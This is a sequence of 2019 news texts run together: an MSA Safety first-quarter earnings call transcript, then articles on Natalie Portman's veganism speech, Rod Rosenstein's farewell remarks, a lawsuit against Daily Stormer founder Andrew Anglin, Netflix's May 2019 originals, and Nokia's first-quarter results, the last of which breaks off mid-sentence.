10-K filed in February of 2019. MSA undertakes no duty to publicly update any forward-looking statements made on this call, except as required by law. Story continues We've included certain non-GAAP financial measures as part of our discussion this morning. Reconciliations to the most directly comparable GAAP measures are available on our investor relations website at investors.msasafety.com. With that, I'll turn the call over to our president and CEO, Nish Vartanian. Nish Vartanian -- President and Chief Executive Officer Thanks, Elyse, and good morning, everyone. The MSA team got off to a solid start for 2019, realizing adjusted earnings growth of 13% on a 3% constant-currency revenue increase. It was good to see strong incremental supporting the margin expansion and earnings growth. Looking at the top line, it is important to note that we shut down production for several days in our U.S. facilities in January as we implemented the systems associated with the legal and operational realignment that we announced in the second half of 2018. Good momentum in our incoming order pace drove our book-to-bill ratio of 107%, resulting in backlog increasing by 15% from year end. Ken will provide more insight into the drivers of our quarterly results. I want to briefly highlight some of the exciting investments we're making in the area of connectivity and cloud computing across our business and all with a common focus of one simple vision, improving workplace safety. A growing portion of our R&D investments today are focused on developing groundbreaking connectivity technologies across our fire service and industrial markets. A good example of this is the new technology we showcased two weeks ago at the annual Fire Department Instructors Conference in Indianapolis, better known as the FDIC. At the FDIC, which is the largest fire department trade show in the world, our team introduced the foundation of MSA's Firefighter Internet of Things, aptly named the Connected Firefighter in a future key component of this system called LUNAR. A Connected Firefighter ecosystem consists of our very successful G1 SCBA, the MSA hub and the MSA cloud platform. As software modules are developed, this configuration will allow for cloud-based asset management as well as a remote incident command viewing. For the first time in the market, this system will enable a large fire department to view multiple active fire scenes simultaneously. More importantly, utilizing the cloud will allow for critical data storage and analytics, leading to automated reporting and safety critical insights. We also introduced to the market the LUNAR. This connected product with built-in cellular technology which combines handheld thermal imaging camera with cutting-edge point-to-point directional ranging technology which can be invaluable in search and rescue scenarios. It also includes integrated accountability with both GPS and a motion sensitive man down system offering incredible utility and flexibility in one product. LUNAR can be used with or without an SCBA, which will allow for all firefighters on the scene to be part of the incident command system. LUNAR is just one exciting example of how MSA is focused on life saving safety innovation. Ken and I both attended the FDIC, and we are pleased to report the market response to LUNAR, and the Connected Firefighter ecosystem was exceedingly positive and enthusiastic. Simply put, firefighters want this technology. Speaking of technology, the MSA cloud was developed to serve both our fire service and industrial customers. We first showcased this new platform within our Safety IO subsidiary launched in 2018. The initial offering from Safety IO utilized connectivity solutions to provide real-time remote monitoring in fleet management services through MSAs portable gas detection products. While continuing to organically invest in and grow our software as a service portfolio, we also recently announced an agreement to acquire Sierra Monitor, an industrial Internet of Things solutions provider. Ken will talk more about the transaction in his commentary, but I want to briefly highlight this acquisition as an important step in accelerating our Safety IO investment. Sierra Monitor solutions provide an opportunity to expand our connectivity capabilities to fix gas and flame detection systems where our installed base is in the hundreds of thousands of units across the world. We expect this deal to close in the second quarter. While the connectivity investments I discussed are longer-term plays, the R&D investments we have made to develop market leading products are supporting our results in the current quarter. Our sales vitality exceeded 35% in Q1, which reflects the portion of our overall sales and products developed and launched in the past five years. The most meaningful contributors to that metric with the G1 SCBA in iTIC, the Fast-Trac III Suspension system in the V-Gard hard hats, the ALTAIR 4XR portable gas detector, the X and S5000 gas monitors, and the many fall protection products we've launched over the past 18 months. If you recall, we've talked about the investments behind these new products on past investor calls, and now they are driving MSAs business and the ability to maintain a price leadership position by delivering superior innovation and cost of ownership advantages to our customers. Lastly, as we've mentioned on different occasions, one of the pillars of our growth and focus platform is people. When we discuss innovations like LUNAR and other technologies that you'll find across the portfolio, I think it is important to remember we have approximately 400 highly engaged and dedicated associates in our engineering function globally, all of whom have disdain for the status quo and are on the leading edge of product development to enhance worker safety. We featured our 2018 Inventor of the Year on the cover of our annual report this year to highlight our commitment to innovation and the very strong NPD pipeline that our entire engineering team is driving globally. With that, I'll turn the call over to Ken for a financial review. Ken? Ken Krause -- Senior Vice President, CFO, and Treasurer Thanks, Nish, and good morning, everyone. Before I begin the P&L review and discuss the quarter in more detail, I'd like to step back and provide a few key highlights. Revenue growth was just over 3% in constant-currency terms with 4% revenue growth in our core products. As Nish indicated, we lost a few days of shipping in the quarter associated with the systems change, and this systems change had an impact on our revenue to the tune of about $10 million to $15 million. With that said, we had good underlying strength in our order activity in the quarter with a book-to-bill ratio of 107%. It was good to see the stronger order activity in areas like gas detection, which had order growth of 11% in the quarter. Turnout gear and fire helmets also had good order activity with global growth up 8%. Profitability remained very strong in the quarter. Operating margin increased by 110 basis points in the quarter, and adjusted earnings were up 13%. Free cash flow followed the normal seasonal trend that we have seen in the past. Our first-quarter cash flow was typically lighter, and this quarter was no exception. We made higher variable compensation amounts that were accrued at year end and saw an uptick in invoicing in March that drove receivables higher and built inventory to support the delivery of our strong backlog pipeline. Now I'd like to walk you through our first-quarter financial results. Total revenue increased just over 3% in the quarter in constant currency with growth in nearly all four product areas. We had a 3% foreign currency headwind on revenue in the quarter or about $10 million largely related to the weaker euro and Brazilian real compared to this time last year. We continue to see solid results in head protection and fall protection in the quarter. We've often talked about hard hats being a proxy for global economic conditions. With that in mind, it's encouraging to see global growth of 6% in hard hats and over 20% growth in fall protection. In the fire service area of our business, we had 4% growth in SCBA this quarter, and we continue to see ongoing benefits from the U.S. replacement cycle and good performance in our international segment. And revenues in emerging markets increased 8% in constant-currency terms, driven by very healthy levels of demand in China and Latin America. Gross profit was 46% in the quarter, up 80 basis points from last year. The new product launches, coupled with our ongoing efforts on the pricing side of our business, are providing a tailwind to margin. SG&A expense was $78 million dollars in the quarter or 24.1% of sales, compared to $80 million or 24.6% of sales a year ago. In constant-currency terms, SG&A increased less than 1%, while revenue was up over 3%. We continue to take steps in the quarter to streamline our cost structure, including executing restructuring programs in our international segment. As I indicated on the February earnings call, we has anticipated making progress on our footprint rationalization project and now is expected to drive non-cash charges related to the write off of currency translation adjustments, and our initiative progressed as planned in the quarter, and we finalized the closure of our MSA locations in South Africa. While these decisions are always difficult, we are confident in our ability to continue to serve the Africa region through our channel partners and utilize a more efficient go-to-market strategy. The non-cash charge of approximately $15 million relates entirely to the reclassification of currency translation out of shareholders equity and into the P&L in the quarter. We also finalized plans for other restructuring programs across the international segment in our continued effort to improve profitability and incurred restructuring charges totaling $6 million. GAAP operating income was $32 million or 9.9% of sales on the quarter. Excluding foreign currency, restructuring, strategic transaction costs and product liability expense, adjusted operating margin was 17.9%, up 110 basis points from a year ago on improved gross margin and operating expense leverage, partially offset by investments in R&D. On a segment level, adjusted operating margin was up 170 basis points in the Americas with good improvement across the P&L. New products pricing and productivity all had an impact. International adjusted operating margins were off 110 basis points, driven primarily by weakness in the Middle East. We had good improvement in Europe with earnings growing 7% on revenue that was up 3%. The weakness in the Middle East is primarily due to lower revenue performance as we built a substantial backlog of project business that should ship in the second half of this year and provide upside opportunity on margins. Our GAAP effective tax rate was just under 28% for the quarter, which includes the impact of the non-cash translation adjustment I discussed a moment ago, as this expense is non-deductible for tax purposes. On an adjusted normalized basis, our quarterly effective tax rate was 24%. GAAP net income was $23 million, which includes the non-cash foreign currency charge associated with our footprint optimization program and restructuring spend associated with our efforts to improve the productivity of our international segment. Quarterly adjusted earnings were $44 million or $1.14 per share up 13% from a year ago and a 3% constant-currency revenue increase. Free cash flow was a use of $4 million in the quarter, compared to a source of $14 million a year ago. When looking at the comparison, it's important to note that the current quarter includes $12 million of net outflows from product liability. Compared to prior year, that reflected net inflows of $12 million. We finished the quarter with working capital just under 26% of sales, about 200 basis points higher than year end, but a 200-basis-point improvement from this time a year ago. As I indicated at the start of my commentary, lower cash flow converted and is typical for MSA in the first quarter. We continue to target 100% free cash flow conversion for the full year. Debt-to-EBITDA is 1.4 times at the end of the quarter, relatively consistent with year end. We remain very well-positioned to continue to execute our strategy and invest in our business. As an example, we are pleased to recently announce the agreement to acquire Sierra Monitor for approximately $33 million. As we indicated in the announcement, Sierra Monitor has revenues of about $20 million, and we expect the synergy of adjusted EBITDA -- so more of about seven times over the next 12 months. The acquisition reflects a step forward in our goal to enhance workers safety through the use of connectivity and cloud technology. In addition to accelerating our own organic investments in Safety IO and in software as a service offerings, Sierra Monitor's SGSD line enables us to better serve end markets where we do not have leading positions. We expect the transaction to close in the second quarter. It was good to see the double-digit earnings growth and strong operating leverage in the quarter. We are positioned well heading into the second quarter, and our balance sheet is strong in overall activity as well as backlog continued to be very healthy. We remain focused on driving improvements in productivity and cash flow while continuing to invest in programs and products that will continue to fund profitable growth. With that, I'll turn the call back over to Nish for some concluding commentary. Nish? Nish Vartanian -- President and Chief Executive Officer Thank you, Ken. As we think about the outlook, leading indicators are positive. Economic conditions in our key markets continue to track favorably, Fire Service funding remains healthy, energy prices have recovered nicely, and the commercial construction investment arena continues to be solid. With these business conditions at our key end markets and our strong order book, MSA remains well-positioned to continue to driving toward our growth and margin expansion goals in 2019. Thank you for your attention this morning. And at this time, Steve Blanco, vice president and president of MSA's Americas segment, has joined Ken and I in the room, and we'll be glad to take any questions you may have. Please remember that MSA does not give guidance. Having said that, we'll now open up the call for your questions. Questions and Answers: Operator Thank you. [Operator instructions] Our first question we have is from Larry De Maria from William Blair. Please go ahead with your questions. Mr. De Maria, please go ahead with your questions. Larry De Maria -- William Blair -- Analyst Yeah. You got it right. Thank you. Good morning, everybody. It was kind of hard to hear everything, so forgive me if I'm repeating something you guys said, but trying to understand the underlying strength in the business. I think you said $10 million to $15 million didn't ship in the quarter. If it did, the book-to-bill would be more like 1.03 not 1.07, and the backlog wouldn't be up 15%. So can you talk about -- maybe the actual backlog level and why we shouldn't think underlying demand is not as robust as it sounds when we make those adjustments? And secondly, is that 10 to 15 that didn't ship was that in Europe? And is that part of the reason why the European performance was not as strong? Thank you. Nish Vartanian -- President and Chief Executive Officer So Larry, a couple of questions in there. So first of all, most of that backlog that didn't ship in the first quarter was in the U.S. area. So you saw some lower growth in the U.S. areas around gas detection and head protection. Fall protection was strong, but the backlog continued to build there also, and that was because we lost a few days of production. So the backlog build was predominantly in the U.S. based on that. The underlying business what we saw across the business was fairly good strength. The first six weeks of the quarter, the incoming business was a bit soft, but we really saw business pick up significantly from week seven on through today, where the incoming business has been very strong. So that's what gives us confidence in and our longer range outlook of the business for the balance of the year. Ken Krause -- Senior Vice President, CFO, and Treasurer The only thing I would add there, Nish, is, with respect to Europe, I think, Larry, you had a question on Europe, and in my prepared comments, I talked specifically about Europe growing 3% revenue wise and 7% on the earnings line. And so we still see good robust levels of growth coming out of there. With that said, order activity was up 8% in the quarter in Europe, and as Nish had indicated, the shipping and backlog that we saw associated with the systems change was primarily in the U.S. So good healthy demands coming out of Europe in the first quarter. Larry De Maria -- William Blair -- Analyst OK. Great. Thanks. And then this is my second question, and I'll let it go. You guys talked about LUNAR, and obviously, we saw that the -- at the fire show recently. I'm curious, can you just remind us on the regulatory approval time frame and the commercialization time frame for that product? Nish Vartanian -- President and Chief Executive Officer So for that particular product, Larry, there is no approval process, and that's just a matter of getting the product to market. We anticipate launching that product sometime in 2020. Hopefully, we're in a position to take orders at next year's FDIC. That's the goal for the product. But that's on us as far as getting that product to market. That's really not an approval situation that holds us up. Larry De Maria -- William Blair -- Analyst OK. Understood. Thank you. Nish Vartanian -- President and Chief Executive Officer Thank you, Larry. Operator All right. Thank you. And our next question we have is from Mr. Edward Marshall from Sidoti. Mr. Marshall, please go ahead with your question. Edward Marshall -- Sidoti and Company -- Analyst Hey, guys, how are you? The one thing that stuck out was the margin in the international business. You talked about kind of -- you framed out the Middle East, and maybe you could kind of elaborate on maybe what that project work was, how much that cost in revenue and then ultimately earnings, and then what country that product was going to or will be going to later this year. Nish Vartanian -- President and Chief Executive Officer Hey, good morning, Ed. Yeah, really, the shortfall and the challenges we had when we are in international were predominantly around the Middle East, as Ken mentioned earlier. The good news with the Middle East is the fact that the backlog has built up there significantly in the issues around fixed gas and flame detection. So the backlog built up quite nicely in that area. We have a very large backlog for fixed gas and flame detection going into the second and third quarters of the year. So we'll start to see that ship throughout the year. And there is some optimism that that business continues to pick up for us in that part of the world. So we see that as some upside to the margin for international as we go forward. Edward Marshall -- Sidoti and Company -- Analyst Are you willing to quantify the revenue and earnings impact that you saw in the quarter as it relates to that? Nish Vartanian -- President and Chief Executive Officer The only way that I would -- I guess, I would look at it is, we had margin improvement in Europe, we had margin improvement in China and in Southeast Asia. So we had good margin improvement across that swath of business. The challenge we have that is in the Middle East. It is very much dependent upon project-oriented business and FGFD-oriented business. And so if those projects don't come through or aren't shipped, they have a pretty big impact, and as you know, the margins on these businesses are very healthy. And so those businesses, we have a backlog in that business, a backlog that we haven't seen since 2017, quite frankly. So we have a very healthy backlog. And we think over the coming quarters, we'll start to see a reduction in that backlog, most likely the second half of the year. Edward Marshall -- Sidoti and Company -- Analyst Got it. And I just want to be clear, this is more to do with timing, not to do with geopolitical or economic conditions in any particular country, so for instance, Turkey. Nish Vartanian -- President and Chief Executive Officer Absolutely. It's a matter of timing of business, and it's all project-based. And so what we're seeing is fairly normal cycles. Edward Marshall -- Sidoti and Company -- Analyst Got it. And the other thing that kind of stuck out in the release was the fall of projection. You had some really good growth in the Americas, constant-currency growth internationally. I just wanted to be certain, and I don't think there is, and you talked about the backlog and the order trend. So it doesn't sound like it, but is there any seasonal trends within fall protection that we should be -- we should be aware of, kind of in the first quarter of the year that might impact the growth? Nish Vartanian -- President and Chief Executive Officer No, not at all. Actually, that growth we're seeing is really robust, and really, when you look at fall protection seasonality, it should improve second and third quarters. The incoming business is really strong. We've really hit the mark on these new products that we've developed and launched over the last 18 months, our sales organizations hitting stride with customers and winning some business. We feel really good about the fall protection space and the investments that we've made there and the stride we're hitting. Edward Marshall -- Sidoti and Company -- Analyst And just to get a sense as we kind of work through some of this backlog, where do you -- let's look three years out, where's the business today from a percent of revenue of the quarter? And where do you anticipate that business will go? Nish Vartanian -- President and Chief Executive Officer Yeah. Obviously, the core business continues to grow and become a larger portion of our overall business. We continue to see that trend moving in that direction. Clearly, we're making significant investments in those core products, and the growth of the core product areas is outpacing the adjacent product areas. So we just see that trend continuing, and any adjacent will become a smaller piece of the business as we go forward. We do quite well in the quarter. As you know, from a profit standpoint and market share standpoint, we're pretty optimistic about that. Edward Marshall -- Sidoti and Company -- Analyst OK. Thanks very much. I appreciate it. Nish Vartanian -- President and Chief Executive Officer Thank you. Operator All right. Thank you. [Operator instructions] We do have another caller in the queue. [Operator instructions] All right, we do have another question. This is from [Inaudible]. Please go ahead with your question, from Capital Management. Unknown speaker Hey, guys. I was just curious on the cost side. You guys continue to show really great cost control. Was there anything kind of either more one time or short term in nature related to the strong cost control in the first quarter? Or is that the kind of expectation we should have going forward? Nish Vartanian -- President and Chief Executive Officer Hey, [Inaudible]. No, there wasn't anything in there from a one-time standpoint. We just continue to look for opportunities to improve our efficiencies throughout the organization, and I think what you saw in the first quarter was a result of that. So as we go forward we continue to look for those opportunities to leverage our capabilities around the world and look for those efficiencies. So there was nothing unique in the quarter. Unknown speaker OK. And then just on the acquisition announcement, is there any approximate way of thinking about the accretion that's likely to come from that over, I don't know, either the first 12 months or after you've gotten to your synergies? Or what is the new way of thinking how that's going to contribute? Ken Krause -- Senior Vice President, CFO, and Treasurer Thanks. Yeah. Hey, [Inaudible], it's Ken. Thanks for the question. What we have disclosed to date is that the synergized adjusted multiple to be around seven times. So we do expect some accretion in the first 12 months. What we'd like to do is to get through the closing activity. We intend to close it at some point probably in mid to late May. And once we do that, we'll provide more definitive guidance around what we would expect on the accretion and cost to capital returns over time. Unknown speaker Great. Thanks very much. Ken Krause -- Senior Vice President, CFO, and Treasurer Thank you. Nish Vartanian -- President and Chief Executive Officer Thank you. Operator All right. Thank you. And it looks like we have no further questions at this time. Elyse Lorenzato -- Director of Investor Relations OK. Thank you, Kelly. Thank you, everyone, for being with us this morning. If you missed a portion of the call, an audio replay and transcript will be available on our investor relations website for the next 90 days. Again, on behalf of our entire team here, thank you again for joining us, and we look forward to talking with you again soon. Duration: 29 minutes Call Participants: Elyse Lorenzato -- Director of Investor Relations Nish Vartanian -- President and Chief Executive Officer Ken Krause -- Senior Vice President, CFO, and Treasurer Larry De Maria -- William Blair -- Analyst Edward Marshall -- Sidoti and Company -- Analyst More MSA analysis This article is a transcript of this conference call produced for The Motley Fool. While we strive for our Foolish Best, there may be errors, omissions, or inaccuracies in this transcript. As with all our articles, The Motley Fool does not assume any responsibility for your use of this content, and we strongly encourage you to do your own research, including listening to the call yourself and reading the company's SEC filings. Please see our Terms and Conditions for additional details, including our Obligatory Capitalized Disclaimers of Liability. More From The Motley Fool Motley Fool Transcribing has no position in any of the stocks mentioned. The Motley Fool owns shares of MSA Safety. The Motley Fool has a disclosure policy. Natalie Portman used to think about herself as a vegan and, separately, as someone who advocates for womens rights. Not anymore. Only after I became active in womens issues did I realize that my veganism was related to those very issues, Portman told 16,000 students at WE Day California, a celebrity-packed celebration of youth activism Thursday at the Forum in Los Angeles. Dairy and eggs dont just come from cows and chickens, they come from female cows and female chickens. Were exploiting female bodies and abusing the magic of female animals to create eggs and milk. Portman, whos been a vegetarian since she was 9 and a vegan for about eight years, continued: Mothers are separated from children to create milk. Animals are sick and in crowded, prison-like conditions to make dairy and eggs. It doesnt take a lot to draw the line from how we treat animals to how we treat humans. Natalie Portman speaks onstage at WE Day California on April 25, 2019, at the Forum in L.A. (Photo: Jesse Grant/Getty Images for WE Day) The Annihilation star said she initially became a vegetarian because she related to animals as a kid. She went completely vegan because she learned it would be good for the planet, a way that she as an individual could make an impact. Eat how you believe, Portman advised the students, who all earned their ticket to the show by making a difference in their communities. She told them not to let naysayers get in the way. So now lots of people make fun of vegans, right? Lots of people make fun of anybody who cares about anything deeply, right? Portman asked. Im sure many of you have encountered that kind of commentary, too. But Im here to say, it is always a great thing to care. And its the most beautiful thing to care, to have your heart open so much that someone elses pain feels like your own, to care so much that youll spend your time making sure that change happens, and thats why you are all here today. Whether its environmental issues, animal rights, womens rights, equality, never be afraid to show how much you care. Highlights from WE Day California will air Aug. 9 at 8 p.m. on ABC. Story continues Read more on Yahoo Entertainment: Want daily pop culture news delivered to your inbox? Sign up here for Yahoo Entertainment & Lifestyles newsletter. WASHINGTON (AP) Deputy Attorney General Rod Rosenstein is taking swipes at his critics as he prepares to leave the Justice Department, using one of his final speeches to defend his handling of the special counsel's Russia investigation and condemn decisions made before he took the job. Rosenstein, in an appearance Thursday night before a lawyers' group, aimed pointed remarks at former FBI Director James Comey, lawmakers, political pundits and the media. The unusually candid remarks laid bare his pent-up feelings after spending the past two years entangled in some of the Trump administration's most dramatic and consequential moments. The No. 2 Justice Department official appointed special counsel Robert Mueller to investigate ties between President Donald Trump's campaign and Russia an inquiry that Trump repeatedly called "a witch hunt. Last week, Rosenstein backed Attorney General William Barr's decision to clear Trump on obstruction even though Mueller refused to do so. In his speech, Rosenstein tried to distance himself from some actions in the early days of the Russia investigation that he suggested he did not agree with. He appeared to take particular umbrage with the disclosures, both public and private, related to the counterintelligence investigation, including Comey's public acknowledgement of its existence at a March 2017 congressional hearing. "There is a story about firefighters who found a man on a burning bed," Rosenstein said, according to his prepared remarks at the Armenian Bar Association's Public Servants Dinner in New York. "When they asked how the fire started, he replied, 'I don't know. It was on fire when I lay down on it.' I know the feeling." He noted that the FBI had disclosed classified material to lawmakers and their staff and observed how "someone" had selectively leaked details of the Russia investigation to the media. Rosenstein also appeared to frown on Comey's public confirmation of the investigation and the fact that it might result in criminal charges an announcement made with the Justice Department's approval, though before Rosenstein was confirmed. Story continues "Then the former FBI director alleged that the president pressured him to close the investigation, and the president denied that the conversation occurred," Rosenstein said. "So that happened." Rosenstein also suggested that former President Barack Obama and his team could have done more to warn Americans about Russian election interference in 2016. "The previous administration chose not to publicize the full story about Russian computer hackers and social media trolls, and how they relate to a broader strategy to undermine America," Rosenstein said. Rosenstein is expected to leave his position now that Mueller has submitted his report. The Senate Judiciary Committee held a confirmation hearing this month for Jeffrey Rosen, a longtime litigator and current deputy transportation secretary who has been nominated by Trump to succeed Rosenstein. Rosenstein did pay tribute to Trump by quoting him on adherence to the rule of law. But Rosenstein also broke with the president in several notable ways. He said that "there is not Republican justice and Democrat justice," contrasting himself with a president who referred to the Mueller team as being compromised of "angry Democrats" and who, according to Mueller's report, has viewed the Justice Department as a tool for punishing political adversaries. He also made clear that the Mueller investigation had exposed a sophisticated Russian operation to meddle in American politics, something Trump has been slow to acknowledge. "There was overwhelming evidence that Russian operatives hacked American computers and defrauded American citizens, and that is only the tip of the iceberg of a comprehensive Russian strategy to influence elections, promote social discord, and undermine America, just like they do in many other countries," Rosenstein said. In his speech, Rosenstein lashed out at "mercenary critics" who "get paid to express passionate opinions" and who, he said, have attacked him without any information. He said politicians in Washington feel the "need to evaluate everything in terms of the immediate political impact." The news media wasn't spared his criticism. "A republic that endures is not governed by the news cycle," he said. "Some of the nonsense that passes for breaking news today would not be worth the paper was printed on, if anybody bothered to print it. It quickly fades away. The principles are what abide." ___ For complete coverage of the Mueller report, go to https://www.apnews.com/TrumpInvestigations A neo-Nazi website operator's attorneys intend to withdraw from representing him in a lawsuit over an anti-Semitic "troll storm" that terrorized a Montana real estate agent's family. One of those lawyers, Marc Randazza, told The Associated Press on Friday that his decision stems from his client's refusal to comply with a court order requiring him to be present in the U.S. for a deposition. The Daily Stormer founder Andrew Anglin says he lives abroad and claims it's too dangerous for him to travel to the U.S. However, U.S. Magistrate Judge Jeremiah Lynch ruled that Anglin's personal safety concerns are "factually unsupported" and no basis for a protective order sparing him from an in-person deposition in the U.S. In an order Monday, Lynch warned Anglin that he faces a default judgment against him if he fails to appear for an April 30 deposition by Tanya Gersh's attorneys from the Southern Poverty Law Center. In the lawsuit she filed in Montana against Anglin in April 2017, Gersh says anonymous internet trolls bombarded her family with hateful and threatening messages after Anglin published their personal information, including her 12-year-old son's Twitter handle and photo. In a string of posts, Anglin had accused Gersh and other Jewish residents of Whitefish, Montana, of engaging in an "extortion racket" against the mother of white nationalist Richard Spencer. Gersh says she had agreed to help Spencer's mother sell commercial property she owns in Whitefish amid talk of a protest outside the building. Sherry Spencer, however, later accused Gersh of threatening and harassing her into agreeing to sell the property. Gersh's suit accuses Anglin of invading her privacy, intentionally inflicting "emotional distress" and violating a Montana anti-intimidation law. Judge Lynch set a May 13 deadline for Anglin's lawyers to formally ask to withdraw. By the same date, Anglin must either notify the court that he will represent himself or will have new lawyers. Story continues Randazza said he and two other attorneys will "vigorously" represent Anglin while they still are enrolled as his lawyers. "But there's not much I can do in this situation but withdraw," Randazza said. "When you have a client who has made it clear he's going to defy a court order, you have a narrow matrix of decisions you can make." Anglin, an Ohio native, said in an April 9 email that he is unwilling to be deposed in the U.S. despite the judge's decision. He suggested that the Alabama-based law center refuses to meet him abroad or question him remotely by telephone or video conference because it wants him to be harmed. "Anyone can look at the history of this group and reach the same very obvious conclusion," he wrote. Gersh's lawyers say Anglin hasn't presented any proof that he currently lives outside the U.S. Anglin's website takes its name from Der Sturmer, a newspaper that published Nazi propaganda in Nazi-era Germany, and includes sections called "Jewish Problem" and "Race War." Anglin already faces a default judgment in a separate lawsuit, filed by a Muslim-American radio host. In February, attorneys for SiriusXM Radio show host Dean Obeidallah asked a federal court in Ohio to award him more than $1 million in damages for his claims that Anglin falsely accused him of terrorism. Netflix just announced its May 2019 release schedule, and subscribers can look forward to the company adding some fantastic third-party content to its catalog next month. Among the highlights are two Austin Powers movies, Fear and Loathing in Las Vegas, Scarface, Scream, Wedding Crashers, Zombieland, and all three movies from The Matrix trilogy. You can see each and every title Netflix plans to add to its catalog right here in our earlier coverage. As is always the case, however, original content is the biggest draw for Netflix subscribers, not movies and shows from third-party studios. And in May 2019, Netflix is really cranking up the volume when it comes to original content. Its a good thing, too, because it might help distract from the fact that the prices of each of its streaming plans are increasing next month. Related stories Netflix will release 62 new original shows and movies in May - here's the complete list Disney+ release may prompt a wave of Netflix cancellations, new survey reveals Netflix was testing a cheaper, mobile-only plan, but it might already be dead A whopping 62 different original shows, movies, and specials will be added to Netflixs ever-expanding content catalog in May, and weve stripped out all of the filler for you in this post so you can just see all of the originals set to debut next month. Things kick off right at the start of the month with the premiere of the documentary Knock Down The House, which follows Alexandria Ocasio-Cortez and three other young female politicians who sought to shake up the status quo in the 2018 Congressional elections. Two days later on May 3rd, 12 different Netflix originals will debut, including the first full season of Dead To Me, an offbeat dramedy starring Christina Applegate. Thats just the tip of the iceberg though, and youll find the full schedule of May 2019 releases below. As always, weve included links where available so you can check out all the trailers on Netflixs site. Story continues Streaming May 1st Knock Down The House NETFLIX FILM Munafik 2 NETFLIX FILM Streaming May 3rd A Pesar De Todo NETFLIX FILM All In My Family NETFLIX ORIGINAL Alles ist gut NETFLIX FILM Cupcake & Dino General Services: Season 2 NETFLIX ORIGINAL Dead to Me NETFLIX ORIGINAL Extremely Wicked, Shockingly Evil and Vile NETFLIX FILM Flinch NETFLIX ORIGINAL Jo Pil-ho: The Dawning Rage NETFLIX FILM The Last Summer NETFLIX FILM True and the Rainbow Kingdom: Mushroom Town NETFLIX ORIGINAL Tuca & Bertie NETFLIX ORIGINAL Undercover NETFLIX ORIGINAL Streaming May 6th Abyss NETFLIX ORIGINAL Streaming May 8th Lucifer: Season 4 NETFLIX ORIGINAL Streaming May 10th Dry Martina NETFLIX FILM Easy: Season 3 NETFLIX ORIGINAL Gente que viene y bah NETFLIX FILM Harvey Girls Forever!: Season 2 NETFLIX ORIGINAL Jailbirds NETFLIX ORIGINAL ReMastered: The Lions Share NETFLIX ORIGINAL Sheherazade NETFLIX FILM The Society NETFLIX ORIGINAL Wine Country NETFLIX FILM Streaming May 12th Patriot Act with Hasan Minhaj: Volume 3 NETFLIX ORIGINAL Streaming May 13th Malibu Rescue NETFLIX ORIGINAL Streaming May 14th revisions NETFLIX ANIME Still LAUGH-IN: The Stars Celebrate NETFLIX ORIGINAL Streaming May 16th Good Sam NETFLIX FILM Streaming May 17th 1994: Limited Series NETFLIX ORIGINAL Chip & Potato NETFLIX ORIGINAL Its Bruno NETFLIX ORIGINAL Maria NETFLIX FILM Morir para contar NETFLIX FILM Nailed It!: Season 3 NETFLIX ORIGINAL See You Yesterday NETFLIX FILM The Rain: Season 2 NETFLIX ORIGINAL Well Intended Love NETFLIX ORIGINAL White Gold: Season 2 NETFLIX ORIGINAL Streaming May 20th Prince of Peoria: Part 2 NETFLIX ORIGINAL Streaming May 21st Wanda Sykes: Not Normal NETFLIX ORIGINAL Streaming May 22nd A Tale of Two Kitchens NETFLIX ORIGINAL One Night in Spring NETFLIX ORIGINAL Streaming May 23rd Slasher: Solstice NETFLIX ORIGINAL Streaming May 24th After Maria NETFLIX ORIGINAL Alta Mar NETFLIX ORIGINAL Joy NETFLIX FILM Rim of the World NETFLIX FILM Shes Gotta Have It: Season 2 NETFLIX ORIGINAL The Perfection NETFLIX FILM WHAT / IF NETFLIX ORIGINAL Streaming May 27th Historical Roasts NETFLIX ORIGINAL Streaming May 30th Chopsticks NETFLIX FILM Svaha: The Sixth Finger NETFLIX FILM Streaming May 31st Always Be My Maybe NETFLIX FILM Bad Blood: Season 2 NETFLIX ORIGINAL Black Spot: Season 2 NETFLIX ORIGINAL How to Sell Drugs Online (Fast) NETFLIX ORIGINAL Killer Ratings NETFLIX ORIGINAL When They See Us NETFLIX ORIGINAL Release Date TBD The Mechanism: Season 2 NETFLIX ORIGINAL Sign up for BGR's Newsletter. For the latest news, follow us on Facebook, Twitter, and Instagram. BGR Top Deals: Trending Right Now: See the original version of this article on BGR.com Nokia (NYSE: NOK) reported its first-quarter results before the market opened on April 25. It was not a good quarter, with some 5G-related revenue pushed back and a surprise net loss. Despite the weak results, Nokia maintained its guidance for both 2019 and 2020. Here's what investors need to know. Nokia results: The raw numbers Metric Q1 2019 Q1 2018 Year-Over-Year Change Sales 5.03 billion euros 4.92 billion euros 2.2% Profit (116 million euros) 83 million euros N/A Earnings per share (0.02) 0.02 N/A Data source: Nokia. All figures non-IFRS (International Financial Reporting Standards). What happened with Nokia this quarter? While revenue grew on a reported basis, it declined by 2% year over year on a constant-currency basis. Nokia changed is reporting structure starting in the first quarter. The company's new reporting segments are Networks, Nokia Software, and Nokia Technologies. Networks revenue was up 4% year over year, to 3.94 billion euros. Revenue was flat on a constant-currency basis. Within the networks segment, mobile access revenue was 2.47 billion euros, down 2% at constant currency; fixed access revenue was 426 million euros, down 8% at constant currency; IP routing revenue was 645 million euros, up 12% at constant currency; and optical networks revenue was 400 million euros, up 7% at constant currency. Networks gross margin dropped 790 basis points year over year, to 26.9%. Operating margin fell 760 basis points, to negative 6.4%. Nokia Software revenue was flat compared to the prior-year period, at 543 million euros. Revenue was down 4% at constant currency. Nokia Software gross margin dipped 280 basis points, to 40.3%. Operating margin slumped 150 basis points, to negative 1.3%. Nokia Technologies revenue was up 1% year over year, to 370 million euros. Revenue was flat at constant currency. Nokia Technologies gross margin fell 80 basis points, to 96.5%. Operating margin rose 650 basis points, to 81.6%. Nokia at Mobile World Congress 2019. Image source: Nokia. Story continues What management had to say Nokia CEO Rajeev Suri didn't sugarcoat it in his remarks: "Q1 was a weak quarter for Nokia." Despite the lackluster results, Nokia maintained its full-year guidance. Suri sees plenty of opportunity for improvement throughout the year: 5G revenues are expected to grow sharply, particularly in the second half of the year, driven by our 36 commercial wins to date. Global services profitability should improve as we recover in a handful of large rollout projects, IP routing is now firmly back to growth given our product leadership, and optical networks continues its long run of growth. But he also sees increased risks: In terms of risks, one factor is our slow start to the year. In addition, competitive intensity has slightly increased in certain accounts as some competitors seek to be more commercially aggressive in the early stages of 5G and as some customers reassess their vendors in light of security concerns, creating near-term pressure but longer-term opportunity. The security concerns Suri is referring to are likely related to Chinese company Huawei. Looking forward Nokia kept its guidance for 2019 and 2020 the same, despite a tough first quarter: 2019 non-IFRS earnings per share between 0.25 euros and 0.29 euros, with a non-IFRS operating margin between 9% and 12%. "Slightly positive" recurring free cash flow in 2019. 2020 non-IFRS earnings per share between 0.37 euros and 0.42 euros, with a non-IFRS operating margin between 